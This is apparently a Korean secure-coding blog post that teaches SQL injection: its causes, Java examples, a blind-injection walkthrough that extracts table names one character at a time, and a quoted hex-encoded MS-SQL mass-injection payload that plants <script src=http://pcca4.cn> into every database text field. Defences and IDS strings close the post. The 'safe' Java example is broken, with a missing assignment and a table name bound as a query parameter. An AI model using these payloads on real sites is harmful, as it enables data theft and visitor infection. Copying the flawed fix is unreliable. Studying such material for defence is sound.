발생원인


외부 입력이 DB 쿼리 작성에 이용되는 환경에서 입력값을 검증하지 않는 경우에 발생한다.



영향


조작된 쿼리를 통해 DB 내용이 노출되거나 변조 될 수 있다.



코드예



 

 안전하기 않은 코드의 예 - JAVA
  try 

 {

    String tableName =   props.getProperty("jdbc.tableName");

    String name =  props.getProperty("jdbc.name");

    String query = "SELECT * FROM "  + tableName + "  WHERE Name =" + name;

    stmt = con.prepareStatement(query);

     rs = stmt.executeQuery();

     ... ...

 } catch (SQLException sqle) { }

  finally {

   }

 tableName과 name에 대한 검증을 수행하지 않은코드



 

안전한 코드예

  try

 {

      String tableName  props.getProperty("jdbc.tableName");

      String name =  props.getProperty("jdbc.name");

    String query = "SELECT * FROM ? WHERE Name = ? ";

    stmt = con.prepareStatement(query);

    stmt.setString(1, tableName);

    stmt.setString(2, name);

     rs = stmt.executeQuery();

     ... ...

 } catch (SQLException sqle) { }

 finally {

 

 }

 쿼리문의 구조가 변경되지 않는 PreparedStatement 클래스를 이용한 쿼리 실행




CASE1: 서버측에서 다음과 같은 쿼리문을 가진 코드가 있는 경우 


"SELECT * FROM " + tableName + " WHERE Name = '" + name + "'"


tableName=userTable  name: gildong 인경우

"SELECT * FROM userTable WHERE Name = 'gildong'"


tableName=userTable  name: name' or 'a'='a 인경우

"SELECT * FROM userTable WHERE Name = 'name' OR 'a'='a'"


tableName=userTable  name: name'; delete from userTable; -- 인경우

"SELECT * FROM userTable WHERE Name = 'name'; DELETE FROM userTable; --'"



CASE2: Blind SQL Injection


일반적인 SQL 인젝션 공격의 경우 반환되는 에러메시지를 통해 성공여부나 정보등을 확인할 수  있다. 하지만 오류 메싲를 따로 설정하게 되면 메시지가 나오지 않아 적절한 정보를 얻을 수 없어 공격하기가 어렵게 된다.


Blind SQL Injection 리안 마치 장님이 손으로 더듬듯이 알아내고자 하는 정보의 답변을 미리 대략적으로 예측해서 그것이 참인지 거짓인지를 질의하고, 서버의 반응으로 참/거짓 여부를 판한하면서 참이 될때 까지 시도함으로서 정보를 알아내는 방법이다. 


공격을 하기전에 해당 페이지에 취약점이 존재하는지 확인하는 작업이 필요한다.



* 서버측 쿼리문
strSQL="select user_id, name, user_pw from member where user_id='"&id&"' and user_pw='"&password&"'


* 정상 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234


* 취약점 테스팅 질의
http://victim.co.kr/member/member_login_check.asp?user_id=hacker&user_pw=1234' and 1=1--



만약 위 질의의 결과가 같다면 Blind SQL Injection에 취약하다고 볼 수 있다. 

 1=1 --  대신에 1=2-- 를 넣어서 참/거짓을 구별할 수 있는 쿼리문을 삽입하면되고, 이 때 데이터베이스가 이전과 같은 결과값을 출력하는지(참) 아니면 값을 출력하지 않는지(거짓)을 통해 자신의 입력한 내용이 참인지 거짓인지를 쉽게 판별할 수 있다.


이와 같이 참/거짓의 여부에 따라 예측 내용을 조금씩 바꾸어서 질의하는 과정을 반복함으로 써 최종적으로는 정확한 값을 알아낼 수 있게 되는 것이다. 하지만 수작업으로 하기에는 무리가 따르며 주로 자동화된 툴을 사용하여 공격을 하게 된다.


<참고> Blind SQL Injection

Blind SQL Injection은 평범한 SQL Injection 과 같이 원하는 데이터를 가져올 쿼리를 삽입하는 기술이다.

다른점은 참과 거짓, 쿼리가 참일때와 거짓일때 서버의 반응 만으로 데이터를 얻어내는 기술이다.

 

Blind SQL Injection은 substr('aaaa',1,1) 함수와 ascii(변환할문자)함수를 이용하여 쿼리의 결과를 얻어 한 글자씩 끊어온 값을 아스키코드로 변환시키고 임의의 숫자와 비교하여 참가 거짓을 비교하는 과정을 반복하여 결과들을 조합하여 원하는 정보를 얻어냄으로써 공격을 이루어지게 하는 것이다.

 

많은 비교과정이 필요하기 때문에 자동화된 툴을 이용하여 공격한다.

 

 

공격에 사용될 SQL문 이해하기

----------------------------------------------------------------------------------------------------------

MySQL의 information_schema에는 데이터베이스의 여러 정보들이 들어있다.

 

SELECT * FROM information_schema.tables

 

다음과 같이 SQL Injection 에 취약한 로그인폼이 있다고 한다면,

SELECT * FROM users WHERE id='전송받은값' AND passwd='전송받은값'

 

우선 information_schema에서 가져올 테이블명에 대해 알아보자.

SELECT table_name FROM TABLES WHERE table_type='base table'  LIMIT 0, 1  쿼리문을 실행하면

users 를 반환한다.

Blind SQL Injection은 이런 결과 값을 substr함수를 이용하여 한글자씩 잘라서 가져온다.

 

SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) 을 실행하면 쿼리 결과로 u를 반환한다.

이렇게 잘라온값을 ascii 함수를 이용해 아스키코드로 변환한다.

 

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) )

을 실행하면 결과값으로 117이 반환된다.  

----------------------------------------------------------------------------------------------------------

 

(공격예)

ID:            [                         ]

PASSWORD: [                         ]

 

Blind SQL Injection으로 테이블명 알아내기

id와 passwd 를 다 입력할 필요없이 admin'# 을 입력하여 passwd 부분을 커맨트 처리한다

SELECT * FROM users where id='admin'#'and passwd='aaaaa'   <- 초록색부분 커맨트 처리

이를 이용해서 id='admin' 조건뒤에 and 연산자와 함께 입력한다.

admin' and ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 120#  

를 삽입하면 임의의 숫자와 비교하여 참이면 로그인 성공, 거짓이면 로그인에 실패한다.

 

만약 로그인에 성공하면 결과값의 첫글자의 아스키코드는 120미만이다.

 

다시 115미만인지를 테스트 한다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 115#

 

로그인에 실패하였다면 결과값은 아스키코드 115 이상이다.

115 < 첫글자 아스키코드 < 120

 

다시 117미만인지 비교해 본다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 117#

 

로그인에 실패하였다면 결과값은 아스키 코드 117 이상이다.

117 <= 첫글자 아스키코드 < 120

 

다시 118미만인지 비교해 본다.

ascii(SELECT substr((SELECT table_name FROM information_schema.tables WHERE table_type='base table'),1,1) ) < 118#

로그인 성공. 결과값의 첫글자의 아스키 코드가 118 보다 작다.

117 <= 첫글자 아스키코드 < 118

 

 

그럼 첫글자는 117이 된다. 아스키코드 117에 해당하는 문자는 'u' 이다.

 

이런방법으로 참인지 거짓인지 비교하여 한 글자씩 알아내면 테이블명을 찾아낼 수 있다.

이렇게 DB 정보가 노출되면 테이블들을 조작하거나 데이터를 얻어내는 것은 시간문제이다.

 

 

Blind SQL Injection 공격으로 부터 안전하려면?

쿼리를 변조할 수 있는 문구가 삽입되는 것을 막아야 한다.

union, select, from, where, limit, or, and, ||, &&, (, ), <, >, insert, update, delete, reate, drop 등 SQL 구문을 감지하는 패턴을 만들어 배열화 시킨뒤 $_REQUEST 시켜 패턴과 매치하면 SQL Injection을 감지하여 서버 담당자가 원하는 동작을 수행하도록 하면 간단하고 효율적으로 SQL Injection을 방어할 수 있다.

 

쿼리에러가 발생하였을때 에러에 대한 정보를 보여주어서도 안된다. 대부분이 에러 정보를 바탕으로 SQL Injection을 시도하기 때문이다.

 

 


CASE3: MASS SQL Injection


(1) 요약: 

     기존의 SQL Injection취약성에서 확장된 개념이다. 

     한번의 공격으로 대량의 DB값이 변조되어 치명적인 영향을 준다.

     SQL Injection 탐지 패턴을 우회하기 위해 CAST함수를 이용해 쿼리문을 인코딩해서 탐지 우회를 시도한다

     DB값 변조시 홈페이지에 악성 스크립트 삽입하여, 사용자들이 변조된 사이트 방문시 악성 스크립트에 감염되거나 Bot이 설치되어  감염된 좀비PC를 통해 온라인 게임 계정 해킹과 DDOS 공격이 가능


(2) 악성스크립트에 사용되는 파일 형식:

     js(자바스크립트), swf(플래시 파일), exe(실행파일)이 주로 이용된다.


(3) 주요공격대상: 

     IIS환경의 MS-SQL을 사용중인 ASP 기반 웹 애플리케이션을 주요 공격 대상으로 한다.


(3) 피해사이트 확인방법:

     google 검색창에서 다음과 같이 검색한다.

     "inurl: 확인하려는 사이트 악성코드 유포사이트"

     "inurl:abc.com"


      혹은 <script src=http:// 를 검색하면 악성코드가 삽입된 사이트를 검색할 수 있다.

  

(4) 공격예: 

     cookie를 이용한 MASS SQL Injection, HEX인코딩된 SQL INJECTION 공격이다.

     공격예의 출처: http://gooja.tistory.com/23     

----------------------------------------------------------------------------------------------------------

POST /test.asp HTTP/1.0
Cookie:
03la'%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x4445434C415245204054207661726368617228323535292C404320766172636861722832353529204445434C4
15245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E6
16D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643
D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E7874797
0653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4
043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B27
2B40542B275D20736574205B272B40432B275D3D727472696D28636F6E76657274287661726368617228343030302
92C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F62617479752E636E3E3C2F73
63726970743E272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F204054
2C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757
2736F72
%20AS%20VARCHAR(4000))%3Bexec%20(@S)%3B--
Content-Type: application/x-www-form-urlencoded
Host:www.xxxx.co.kr
Content-Length: 3
Expect: 100-continue


디코딩해서 보면.

이 SQL문은 모든 필드에 <script src=http://pcca4.cn></script>가 삽입되는 공격이 된다.


03la';DECLARE @S VARCHAR(4000);SET @S=CAST
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar(4000),['+@C+']))+''<script src=http://pcca4.cn></script>''')FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
 AS VARCHAR(4000));exec (@S);--

----------------------------------------------------------------------------------------------------------



(5) 대응방안: 

     쿼리 스트링에 대한 길이를 제한한다.

     코딩시 SQL Injection  공격에 대비한 소스 코딩방식을 사용한다. preparedStatement 사용.

     입력문자를 제한하거나 필터링을 적용한다.

     정기적인 DB/시스템 백업 실시

     웹 방화벽을 사용한다.


     IDS혹은 IPS 같은 침입탐지 시스템이 있다면 다음과 같은 문자열로 MASS SQL Injection 을 탐지 할 수 있다.

     @S=CAST(0x

     DECLARE @ SET



보통 서버 대상 공격이 아닌 변조된 서버에 접근하는 상대를 대상으로 한다. 변조된 사이트를 구글 검색으로 찾을 수 있을 정도로 피해가 컸었다.


SQL 공격에 사용되는 도구로 Havij, Pangolin, HDSI등이 있다. 공격용이기도 하지만 진단용으로 사용된다.


블로그 이미지

오픈이지 제로킴

시큐어코딩 교육/컨설팅 전문가 그룹

티스토리 툴바